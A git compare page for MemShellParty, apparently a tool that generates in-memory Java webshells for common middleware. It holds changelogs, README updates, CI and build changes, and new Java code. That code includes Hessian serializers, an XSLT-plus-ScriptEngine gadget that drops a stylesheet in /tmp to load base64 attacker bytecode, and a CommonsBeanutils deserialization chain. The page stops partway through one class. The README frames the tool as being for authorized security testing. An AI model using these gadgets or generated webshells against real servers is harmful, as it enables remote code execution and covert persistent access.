Compare commits

...
38 Commits
Author SHA1 Message Date
ReaJason cbf2d02808 docs: update 2025-02-20 23:19:07 +08:00
ReaJason 775fc38abe ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 6b3f4a2606 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 52c720572f fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 5e2242665b chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason cdd145d0b2 chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason 18aa8ed60d feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 3e40763724 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason eda6134262 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason 9d81160b33 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason 115b57c62e test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason 1b8a845635 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 3ccbd14256 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 56510c89db test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 358184f71b test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 6ee9e31aa8 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason 501f7a2d10 docs: update screenshots 2025-02-19 00:25:31 +08:00
ReaJason 8b3c23241a docs: update CHANGELOG 2025-02-19 00:10:04 +08:00
ReaJason 3af560a5e0 docs: add changelog 2025-02-19 00:04:29 +08:00
ReaJason a8d1b5e29a fix: keyword is not allowed for classname 2025-02-19 00:04:29 +08:00
ReaJason 21f9af2f70 test: rm failed case 2025-02-19 00:04:29 +08:00
ReaJason 583abbf9ba feat: support AntSword shell generate (#34) 2025-02-19 00:04:29 +08:00
ReaJason e71f980991 feat: support cb4 other version payload packers 2025-02-19 00:04:29 +08:00
ReaJason d9c3bcb5dd docs: fix typo 2025-02-17 22:39:09 +08:00
ReaJason 61905e35ca docs: change notes location 2025-02-16 00:08:15 +08:00
ReaJason 27f3a7b206 docs: update badges 2025-02-15 23:45:43 +08:00
ReaJason bcb9d23f64 docs: update README 2025-02-15 23:31:52 +08:00
ReaJason d993a54fa9 fix: optimize form fields reset 2025-02-15 14:12:26 +08:00
ReaJason 7eb8baeaf2 docs: update CHANGELOG 2025-02-15 13:50:04 +08:00
ReaJason 591375f522 docs: update README 2025-02-15 13:50:04 +08:00
ReaJason 6436d404d7 ci: test not run in other branck 2025-02-15 13:50:04 +08:00
ReaJason ef487f86d2 build: version not work in IDEA 2025-02-15 13:50:04 +08:00
ReaJason 011f919e2a chore: upgrade to Tailwind CSS v4 2025-02-15 13:50:04 +08:00
ReaJason f8624f0e72 fix: sonner theme not work 2025-02-15 13:50:04 +08:00
ReaJason b287fcd36f feat(ui): support suo5 generate 2025-02-15 13:50:04 +08:00
ReaJason 7fb404f04f feat: support other middleware suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason 45dc276300 feat: support tomcat suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason e811ca56ae docs: update README 2025-02-03 01:46:07 +08:00
250 changed files with 15963 additions and 2328 deletions
+3 -8
View File
@@ -2,20 +2,14 @@ name: Test
on:
push:
branches: [ "*" ]
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
pull_request:
branches:
- main
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
@@ -58,6 +52,7 @@ jobs:
- resin
- payara
- websphere
- websphere7
- springmvc
- weblogic
- springwebflux
+67 -1
View File
@@ -5,7 +5,73 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.0.0](https://#) - 2025-01-03
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-20
### Added
- 支持 Hessian、Hessian2, XSLT 反序列化 (#36) by @ReaJason
### Changed
- 移除无用依赖,JavaSocketGson
- Gradle 升级至 8.12.1
- 更新 TestContainers 和 Junit 的版本
### Fixed
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
### Changed
- UI 增强手机端响应式,增强 i18n 显示 (#39)
### Fixed
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
### Added
- 支持 AntSword 内存马生成 by @ReaJason
- 添加 Java 反序列化其他 CB 版本 Payload 生成
### Changed
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
- 部分 UI 调整
### Fixed
- 修复随机类名如果为保留字时会无法加载
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
### Added
- 支持 Suo5 内存马生成 by @ReaJason
### Changed
- 升级 TailWind CSS v4
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
### Fixed
- 修复 sonner 颜色主题未随着修改而变化
- 修复 IDEA 本地构建 version 一直是 unspecified
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
### Added
+9 -15
View File
@@ -1,15 +1,17 @@
### 目录结构
- behinder:冰蝎简易连接器,用来自动化测试连接效果(为保证兼容性够高,所以单独弄出来)
- godzilla:哥斯拉简易连接器,用来自动化测试连接效果(为保证兼容性够高,所以单独弄出来)
- commonbytebuddy 等工具类存放
- deserialize:反序列化相关 gadget
- bom: 依赖版本管理,不用写到处写版本号就是舒服
- boot:使用 SpringBoot 为 UI 提供生成服务
- web:使用 react 开发的 Web UI
- commonbytebuddy 等工具类存放
- generator:内存马生成核心
- deserialize:反序列化相关 gadget
- integration-test:集成测试用例
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
- memshell-java8Spring 相关的存在 lambda 表达式所以单独弄出来
- generator:内存马生成核心
- integration-test:集成测试用例
- tools/behinder:冰蝎简易连接器
- tools/godzilla:哥斯拉简易连接器
- tools/suo5Suo5 简易连接器
- web:使用 react 开发的 Web UI
- vul/vul-webapp:简易的 javax.servlet 靶场
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
@@ -53,14 +55,6 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
1. 先打包前端项目,`bun run build`
2. 再打包后端项目,`./gradlew :boot:bootJar`
### Contribute Something
> 你对此项目的任何反馈以及 issue 交流都是对当前项目的贡献
1. 你有高超的 Docker 环境构建技术,可以添加 CVE 相关的集成测试用例。
2. 你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 你有丰富的实战经验,可以尝试写写 issue 来提提建议。
### Contribute Code
> 参考 GitHub Docs https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
+70 -26
View File
@@ -1,22 +1,43 @@
<div align="center">
<h1 align="center">MemShellParty</h1>
# MemShellParty
<p>一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台</p>
<p>在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了</p>
[![test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
[![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square&label=License&color=blueviolet)](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
[![Telegram](https://img.shields.io/badge/Telegram-2CA5E0?style=flat-square&logo=telegram&logoColor=white)](https://t.me/memshell)
</div>
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
> [!WARNING]
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
> [!TIP]
> 项目仍在快速迭代过程中,如有相关疑问或者适配请求可提 issue 或加入 TG
> 交流群,由于本人仅是安全产品研发,无实战经验,欢迎一起学习交流
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
> 交流群,欢迎一起学习交流
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
MemShellParty 出现的原因有以下几个:
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用 [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
生成一个 WAS 的内存马不能用,调了半天修好了)。
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/),高封装提供的
API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
应用无感),必须得整一个玩玩。
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马编写方式。
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
![normal_generator](asserts/normal_generator.png)
@@ -24,24 +45,41 @@
## 主要特性
- 自动化测试保障: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
,确保常见场景下的高可用性。
- 优化的用例设计: 尽可能精简内存马大小,高效传输。
- 广泛的兼容性: 覆盖攻防场景下常见中间件和框架。
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化: 尽可能精简内存马大小,高效传输。
- 兼容性: 覆盖攻防场景下常见中间件和框架。
## 快速启动
## 快速使用
### 在线站点
可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku),每次 Release 都会自动部署最新的镜像。
### 本地部署(推荐)
使用 docker 部署之后访问 http://127.0.0.1:8080
```bash
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memshell-party
# 使用 Docker Hub 源,拉取最新的镜像
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
# 使用 Github Container Registry 源,拉取最新的镜像
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# 网络质量不太好?使用南大 Github Container Registry 镜像源
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
```bash
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令,重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
## 适配情况
@@ -95,8 +133,8 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [ ] AntSword 蚁剑
- [ ] Suo5
- [x] Suo5
- [x] AntSword 蚁剑
- [ ] Neo-reGeorg
- [ ] Custom
@@ -108,12 +146,13 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 脚本引擎
- [x] EL、SpEL、OGNL
- [x] Velocity、Freemarker
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
@@ -125,10 +164,15 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
参考 [CONTRIBUTE.md](CONTRIBUTING.md)。
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
## Thanks
Binary file not shown.

Before

Width:  |  Height:  |  Size: 128 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 258 KiB

After

Width:  |  Height:  |  Size: 131 KiB

BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+4 -4
View File
@@ -28,10 +28,10 @@ dependencies {
api 'org.jetbrains:annotations:26.0.1'
api "org.mockito:mockito-core:5.+"
api "org.mockito:mockito-core:5.15.2"
api 'org.hamcrest:hamcrest:3.0'
api 'org.junit:junit-bom:5.10.0'
api 'org.testcontainers:testcontainers:1.20.4'
api 'org.testcontainers:junit-jupiter:1.20.4'
api 'org.junit:junit-bom:5.11.4'
api 'org.testcontainers:testcontainers:1.20.5'
api 'org.testcontainers:junit-jupiter:1.20.5'
}
}
+4 -1
View File
@@ -10,7 +10,10 @@ WORKDIR /app
COPY build/libs/boot-${VERSION}.jar app.jar
ENV JAVA_OPTS="" \
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
INTER_JAVA_OPTS="\
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
EXPOSE 8080
-8
View File
@@ -21,13 +21,6 @@ def runtimeJvmArgs = [
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
@@ -57,7 +50,6 @@ dependencies {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.springframework.boot:spring-boot-starter-undertow'
implementation 'com.google.code.gson:gson:2.11.0'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
@@ -20,39 +20,44 @@ public class GenerateRequest {
private String shellClassName;
private String godzillaPass;
private String godzillaKey;
private String godzillaHeaderName;
private String godzillaHeaderValue;
private String commandParamName;
private String behinderPass;
private String behinderHeaderName;
private String behinderHeaderValue;
private String antSwordPass;
private String headerName;
private String headerValue;
}
public ShellToolConfig parseShellToolConfig() {
if (shellConfig.getShellTool().equals(ShellTool.Godzilla)) {
return GodzillaConfig.builder()
return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getGodzillaPass())
.key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getGodzillaHeaderName())
.headerValue(shellToolConfig.getGodzillaHeaderValue())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
}
if (shellConfig.getShellTool().equals(ShellTool.Command)) {
return CommandConfig.builder()
case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName())
.build();
}
if (shellConfig.getShellTool().equals(ShellTool.Behinder)) {
return BehinderConfig.builder()
case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getBehinderHeaderName())
.headerValue(shellToolConfig.getBehinderHeaderValue())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
}
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
};
}
}
+1 -1
View File
@@ -1,4 +1,4 @@
version = project.hasProperty('version') ? version : '1.0.0'
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
allprojects {
if (it.name != 'bom') {
+5 -26
View File
@@ -8,40 +8,19 @@ version = rootProject.version
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.lang=ALL-UNNAMED',
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(11)
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -9,7 +9,7 @@ import java.io.ObjectOutputStream;
* @author ReaJason
* @since 2024/12/13
*/
public class DeserializeGenerator {
public class JavaDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
@@ -11,5 +11,18 @@ public interface Payload {
* @param bytes 恶意类字节流
* @return 序列化对象
*/
Object generate(byte[] bytes);
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,6 +1,10 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import lombok.Getter;
/**
@@ -12,7 +16,16 @@ public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils19(new CommonsBeanutils19());
CommonsBeanutils16(new CommonsBeanutils16()),
CommonsBeanutils18(new CommonsBeanutils18()),
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
@@ -1,28 +0,0 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils19 implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes) {
Object obj = TemplateUtils.createTemplatesImpl(bytes);
final BeanComparator<Object> comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
}
@@ -0,0 +1,51 @@
package com.reajason.javaweb.deserialize.payload.hessian;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.utils.HessianUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import javax.swing.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class XSLTScriptEngine implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes, String className) {
String base64Str = Base64.getEncoder().encodeToString(bytes);
String tmpPath = "/tmp/CACHE_XML";
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
" <xsl:value-of select=\"$result\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>\n";
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
Reflections.setFieldValue(writeValue, "acc", null);
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
Reflections.setFieldValue(processValue, "acc", null);
HashMap<Object, Object> map1 = new HashMap<>(1);
HashMap<Object, Object> map2 = new HashMap<>(1);
HashMap<Object, Object> map3 = new HashMap<>(1);
HashMap<Object, Object> map4 = new HashMap<>(1);
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class CommonsBeanutils110 implements Payload {
@Override
@SneakyThrows
